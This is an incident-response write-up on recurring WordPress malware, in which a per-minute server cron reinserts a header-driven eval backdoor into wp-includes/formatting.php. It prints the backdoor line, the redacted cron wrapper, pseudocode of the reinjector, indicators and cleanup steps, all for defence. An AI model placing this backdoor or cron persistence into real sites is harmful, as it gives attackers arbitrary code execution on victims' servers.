Start with the problem you are seeing
Could this match the problem on your WordPress site?
This research examines recurring HTTP_E21BC9D malware observed in WordPress core files and wp-config.php. Static decoding confirmed that an every-minute server cron restored one core-file backdoor after manual cleanup.
Observed in this investigation
- The malicious line returned to wp-includes/formatting.php after being manually removed.
- The same HTTP_E21BC9D signature had also been found in wp-config.php during the earlier cleanup.
- The user crontab contained an encoded PHP command scheduled for every minute.
Possible warning signs
- A normal malware scan may remove the modified core file while leaving the server cron persistence intact.
- The site may appear clean briefly and become reinfected before the next inspection.
These signs are investigation leads, not proof of this artifact by themselves.
Questions this research can help answer
- Why does malware keep returning to WordPress core files or wp-config.php?
- Can a server cron job reinfect WordPress every minute?
- How can I remove one malicious cron job without deleting legitimate cron jobs?
Evidence boundary: Static decoding confirms the cron payload's reinjection logic; the initial access path and triggering HTTP request remain unknown.
Seeing one of these signs on your site?
I can investigate the files, database records, users, and server evidence, explain what is confirmed, and help plan a safe cleanup.
Research focus: Analysis of eval($_SERVER['HTTP_E21BC9D']) malware found in WordPress core files and wp-config.php, plus the cron that restored one core backdoor.
Summary
This research examines recurring HTTP_E21BC9D malware found in WordPress core files and wp-config.php. During the retained incident, the signature was removed from wp-config.php and wp-includes/formatting.php. It stayed absent from wp-config.php but kept returning to the core file. Related firsthand cleanups have placed suspicious code in other WordPress core files, so investigators should not limit searches to formatting.php.
The confirmed persistence mechanism was not WordPress WP-Cron. It was a hosting-account cron entry that invoked PHP every minute, decoded an embedded payload, and restored this backdoor in wp-includes/formatting.php when it was missing:
@eval($_SERVER['HTTP_E21BC9D']);
Offline static decoding confirmed that the cron payload targeted one absolute formatting.php path, searched for the legitimate wptexturize_primes() function, inserted the backdoor immediately before it, rewrote the file, and altered the modification time. This explains the recurring WordPress core infection. It does not prove that this same cron wrote the earlier wp-config.php copy.
Removing the injected line or reinstalling the affected core file could only provide temporary relief while the cron task remained active. The safe response is to preserve the crontab, remove only the confirmed malicious entry, replace compromised WordPress core files, and verify that neither artifact returns.
Investigation context
The malicious line was first removed from wp-config.php and wp-includes/formatting.php. It did not return to wp-config.php, but it repeatedly returned to formatting.php. That narrower recurrence suggested another process was monitoring or rewriting the core file.
Hosting control-panel and terminal access were not available during this part of the investigation. A temporary PHP helper was therefore placed in the document root to list the hosting user’s crontab and selectively remove the identified entry. The helper was a last-resort diagnostic measure, not a permanent WordPress component, and it had to be deleted immediately after verification.
The cron listing contained several pre-existing hosting-managed and application jobs. Those jobs were not treated as malicious merely because they appeared in the same crontab. The confirmed malicious artifact was a separate every-minute command below the managed block.
Observed artifact
The public image below is a privacy-redacted rendering derived from the retained screenshot. Client domains, account paths, and the complete encoded blob are concealed. It still preserves the evidentiary relationship between the legitimate managed section and the separate malicious line.

The original schedule used five wildcards, meaning the command ran once every minute:
Redacted defensive excerpt
* * * * * /usr/bin/php -r 'eval(gzinflate(base64_decode("[ENCODED PAYLOAD REDACTED]")));'
This is a server/user crontab entry. It does not depend on visits to wp-cron.php, the WordPress dashboard, or the WordPress database’s scheduled-event records.

The second image records the temporary test.php helper in the site root; its existing red arrow points to an old.zip incident backup above the helper. A file like test.php can expose filesystem paths or become an unintended command surface if it remains public. It should use access controls, perform only the required cron operation, and be removed as soon as the final crontab has been verified. Any temporary backup archive should also be moved outside the document root or deleted after it is no longer required.
Confirmed findings
- The suspicious cron command was scheduled as
* * * * *, so it ran every minute. - It invoked
/usr/bin/php -r, independent of WordPress WP-Cron. - Its outer wrapper applied Base64 decoding and raw DEFLATE decompression before PHP
eval. - The decoded payload contained a hardcoded absolute path to the affected site’s
wp-includes/formatting.php. - It checked whether a statement referencing
HTTP_E21BC9Dwas already present and stopped if so. - It searched for the legitimate
wptexturize_primes()declaration and stopped if the anchor was absent. - It inserted
@eval($_SERVER['HTTP_E21BC9D']);immediately before that function. - It verified that the injected statement existed before completing the rewrite.
- It unlinked and rewrote
formatting.php, then set its modification time to the earlier recorded time plus ten seconds. - The backdoor passes a value supplied through an HTTP request header to PHP
eval, providing arbitrary PHP execution capability when a suitable request reaches it.
Safe static decoding of the cron payload
The retained Base64 text was decoded in an offline analysis environment. The bytes were decompressed as raw DEFLATE data and inspected as text. At no point was the decoded PHP evaluated or run against a WordPress installation.
| Stage | Size | SHA-256 |
|---|---|---|
| Encoded text | 844 characters | Not applicable |
| Compressed blob | 633 bytes | 21d70a37df6881d0308210d00addebebb0ad7a19bf3aa91a01a3be8909bd4fa1 |
| Decoded PHP stage | 1,163 bytes | 08df13139ebe3d2190bdb7dc3302dff363a45d15d87165f5c9c9c4649c30ff8d |
| Embedded serialized configuration | 278 bytes | 94302159cd1f9c9acabdec302fd4b72a120fa340c8f232b49bca69a66e43139a |
The decoded stage included a serialized four-item configuration:
- The absolute path to the targeted
wp-includes/formatting.phpfile. - A regular expression matching an eval statement that reads
HTTP_E21BC9Dfrom a PHP superglobal. - The exact backdoor line to insert.
- A regular expression locating the start of
wptexturize_primes().
The following non-runnable pseudocode preserves the control flow needed for defensive review without publishing the complete payload:
Redacted defensive excerpt
target = "[ACCOUNT AND DOMAIN REDACTED]/wp-includes/formatting.php"
source = read(target)
if source already contains the HTTP_E21BC9D eval backdoor:
stop
if source does not contain the wptexturize_primes function anchor:
stop
remove a related alternate header statement if present
insert the backdoor immediately before the function anchor
if the resulting content does not contain the expected backdoor:
stop
saved_time = modification_time(target) + 10 seconds
unlink target
write modified content to target
set target modification time to saved_time
Why wptexturize_primes() was used
wptexturize_primes() is a stable function declaration inside the targeted WordPress core file. Searching for that declaration gives the payload a predictable insertion point without needing an exact byte offset. It also prevents this sample from writing when the expected anchor is not found.
Why the affected core file can vary
This decoded payload hardcodes wp-includes/formatting.php, so that is the only target file established for this specific cron sample. Other infections or payload variants can hardcode a different WordPress core path, use another insertion anchor, or write the backdoor through a separate persistence mechanism. A defensive search should therefore cover all PHP files in wp-admin, wp-includes, the WordPress root, and wp-config.php, followed by comparison with trusted core files.
Why manual removal did not last
The first condition prevents duplicate copies while the backdoor exists. Once an administrator removes the malicious line, that condition becomes false. On the next one-minute cron cycle, the payload finds the legitimate anchor and inserts the line again. In practice, a repaired file could be reinfected in no more than approximately 60 seconds while the task remained scheduled.
What the HTTP header backdoor can do
PHP documents that request headers commonly appear in $_SERVER as keys beginning with HTTP_. Passing the value of HTTP_E21BC9D to eval means PHP code in that value can run in the context of a normal request. This is execution capability, not evidence that a particular follow-on command ran: no triggering request or header value was retained in this investigation.
Timestamp manipulation
The payload reads the existing modification time, adds ten seconds, unlinks and recreates the file, then applies the adjusted timestamp. That behavior is consistent with an attempt to make the rewrite less conspicuous than a normal current-time modification. It does not preserve every filesystem timestamp or guarantee invisibility, but it can mislead a review based only on a simple “recently modified” sort.
Analyst assessment
The decoded control flow directly explains the observed reinfection of formatting.php. The minute-level schedule accounts for rapid recurrence, the hardcoded path accounts for the single repeatedly affected core file, and the insertion anchor accounts for the backdoor’s position.
The cron entry is a persistence mechanism. It is not proof of the original entry point. An attacker or earlier malware stage still needed sufficient hosting-account access to install it. Credentials, control-panel sessions, SSH keys, vulnerable code, neighboring sites under the same user, and other scheduled mechanisms remain valid investigation areas.
The same statement had previously been found in wp-config.php, but this decoded sample does not target wp-config.php. That earlier modification may have come from the initial compromise or a different writer. Treating both files as the output of this one cron payload would go beyond the retained evidence.
Indicators of compromise
Higher-confidence indicators
- The exact code signature
@eval($_SERVER['HTTP_E21BC9D']); - The unusual request-header key
HTTP_E21BC9Dinside WordPress PHP files - An every-minute user cron combining
/usr/bin/php -r,eval,gzinflate, andbase64_decode - Compressed-payload SHA-256
21d70a37df6881d0308210d00addebebb0ad7a19bf3aa91a01a3be8909bd4fa1 - Decoded-stage SHA-256
08df13139ebe3d2190bdb7dc3302dff363a45d15d87165f5c9c9c4649c30ff8d - A process that unlinks, rewrites, and retimestamps
wp-includes/formatting.phpon a one-minute cycle
Contextual indicators
wp-includes/formatting.phpwptexturize_primesphp -rbase64_decode,gzinflate, orevalin scheduled commands- A core file whose malicious line returns shortly after repair
The contextual strings can occur legitimately. Investigators should prioritize the combined schedule, wrapper structure, exact header name, hashes, and verified file change rather than declaring a compromise from a generic function name alone.
What this evidence does not establish
- It does not identify the vulnerability, stolen credential, or other route used to create the cron entry.
- It does not retain a request containing the
E21BC9Dheader or show the follow-on PHP supplied through it. - It does not prove that every cron job in the account was malicious. Several visible entries belonged to a hosting-managed block or existing applications.
- It does not show that deleting WordPress WP-Cron events would affect this server-level task.
- It does not attribute the sample to a named actor or establish how widely it has been deployed.
- It does not establish that the same payload wrote the earlier
wp-config.phpbackdoor.
Artifact-specific remediation
The central rule is do not delete the entire crontab just because one entry is malicious. Legitimate backups, publishing jobs, certificate tasks, hosting-managed jobs, and application schedules may share the same list. Preserve the original, identify the exact malicious line, remove only that line, and verify the rest.
Option 1: remove it in the hosting control panel
If the hosting account provides a Cron Jobs or Scheduled Tasks screen:
- Save screenshots or export/copy the complete existing list before changing it.
- Locate the exact every-minute command containing the encoded
php -reval wrapper. - Confirm that it is separate from any provider-managed block or known application command.
- Delete only the confirmed malicious entry.
- Reload the page and confirm every legitimate job remains.
Do not edit lines inside a provider-managed section unless the hosting provider confirms that they are unauthorized.
Option 2: remove it through a terminal
With shell access, preserve the current user crontab before opening the editor:
crontab -l > crontab-before-cleanup.txt
crontab -e
In the editor, remove only the exact malicious line, save, and then inspect the installed result:
crontab -l
Store the backup outside the public web directory and protect it because cron commands can contain paths or secrets. Avoid crontab -r: it removes the user’s complete crontab, including legitimate tasks.
Option 3: use a temporary PHP helper only when necessary
When neither the hosting scheduler nor a terminal is available, a narrowly scoped PHP helper may list the current web-account user’s crontab and remove one exact selected line. This was the access path used in this investigation.
The helper should:
- require a strong one-time secret and, where possible, an IP allowlist;
- show the current crontab before offering any change;
- create a backup outside the document root;
- match the complete malicious command, not broad words such as
php,eval, orbase64_decodealone; - preserve line endings, comments, environment variables, and every non-matching job;
- show the resulting crontab for confirmation; and
- be deleted from the server immediately after use.
A publicly reachable generic cron editor or shell-command page creates a serious additional risk. If the environment cannot protect a temporary helper or PHP command execution is disabled, the safer route is to ask the hosting provider to export the crontab and remove the exact entry. This report intentionally does not publish a reusable web-based command runner.
Repair WordPress after stopping the writer
Once the malicious scheduler entry is disabled:
- Preserve the affected file and cron artifact privately if evidence retention matters.
- Replace WordPress core with a verified clean copy for the installed version; do not rely only on deleting the visible line.
- Use WordPress core checksums to verify core integrity and manually review files that checksums do not cover.
- Search all sites owned by the same hosting user for
HTTP_E21BC9Dand the exact eval statement. - Inspect other user and system cron locations, control-panel tasks, startup files, PHP auto-prepend settings, must-use plugins, active plugins, themes, and unexpected processes.
- Remove the temporary PHP diagnostic helper and any backup archive left in the document root.
- Rotate hosting-panel, SFTP/FTP, SSH, WordPress administrator, database, and API credentials appropriate to the confirmed scope; review active sessions and keys.
- Investigate how the cron entry was created so the persistence mechanism cannot simply be installed again.
For the wider process, see the WordPress cron job malware guide and why WordPress malware keeps coming back.
Recurrence verification
- Re-list the user crontab immediately after the edit and confirm all legitimate tasks remain.
- Check the crontab again after several minutes, after a control-panel login, and after the next expected legitimate schedules run.
- Monitor
wp-includes/formatting.phpfor more than the former one-minute reinfection interval. - Search for
HTTP_E21BC9Dacross every PHP file accessible to the same hosting user. - Verify WordPress core files against trusted checksums after the cron has been removed.
- Review process, authentication, SFTP/SSH, and web logs around the cron’s original creation time when those logs are available.
- Confirm that the temporary PHP cron helper and any public backup archive have been removed.
- If the cron entry itself returns, preserve the new timestamps and logs: another active process or account access path is recreating the persistence.
Related malware research
- cPanel PHP cron eval wrapper persistence
- HTTP-header-gated PHP loader
- Self-healing system-control WordPress malware
Methodology and privacy note
This report is based on MD Pabel’s firsthand cleanup notes, the retained cron text, the affected-file behavior, and two screenshots from an anonymized WordPress incident. The encoded cron content was Base64-decoded and raw-DEFLATE-decompressed offline without evaluating the resulting PHP. Sizes, hashes, configuration fields, and control flow were then recorded directly from the decoded bytes.
The public cron image is a privacy-redacted rendering derived from the retained screenshot; client domains, usernames, absolute account paths, and the complete encoded payload remain private. The second image shows only the temporary helper’s location and generic WordPress filenames. Confirmed findings are limited to retained evidence, while interpretation is labeled as analyst assessment. No third-party article is reproduced or relied upon as the evidentiary basis for this report.
Support My WordPress Security Research ☕
If this work helped you and you would like to support future malware investigations and practical guides, you can buy me a coffee. It is completely optional—everything remains free to read.